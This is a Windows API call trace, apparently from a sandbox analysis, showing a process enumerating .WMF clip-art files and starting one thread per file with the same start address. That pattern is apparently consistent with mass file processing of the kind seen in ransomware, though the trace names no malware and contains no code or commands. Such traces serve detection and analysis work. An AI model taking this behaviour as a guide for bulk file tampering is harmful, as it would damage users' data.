	[0233.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188
	[0233.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.482] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1
	[0233.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c
	[0233.485] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.485] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1
	[0233.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190
	[0233.574] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.575] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1
	[0233.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194
	[0233.577] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.578] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1
	[0233.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198
	[0233.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.581] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1
	[0233.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c
	[0233.583] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.583] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1
	[0233.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0
	[0233.585] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.586] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1
	[0233.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4
	[0233.587] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.588] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1
	[0233.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8
	[0233.591] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.591] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1
	[0233.593] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac
	[0233.596] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.596] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1
	[0233.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0
	[0233.598] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.599] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1
	[0233.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4
	[0233.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.601] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1
	[0233.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8
	[0233.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.603] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1
	[0233.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc
	[0233.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.606] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1
	[0233.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0
	[0233.608] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.609] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1
	[0233.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4
	[0233.657] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.658] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x72, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1
	[0233.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8
	[0233.661] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.661] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1
	[0233.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc
	[0233.663] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.664] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1
	[0233.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0
	[0233.667] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.667] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1
	[0233.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4
	[0233.669] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.670] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1
	[0233.670] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8
	[0233.671] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.672] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1
	[0233.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc
	[0233.674] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.675] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1
	[0233.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0
	[0233.677] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.678] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1
	[0233.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4
	[0233.679] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.680] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1
	[0233.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8
	[0233.682] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.682] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1
	[0233.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec
	[0233.684] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.685] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1
	[0233.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0
	[0233.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
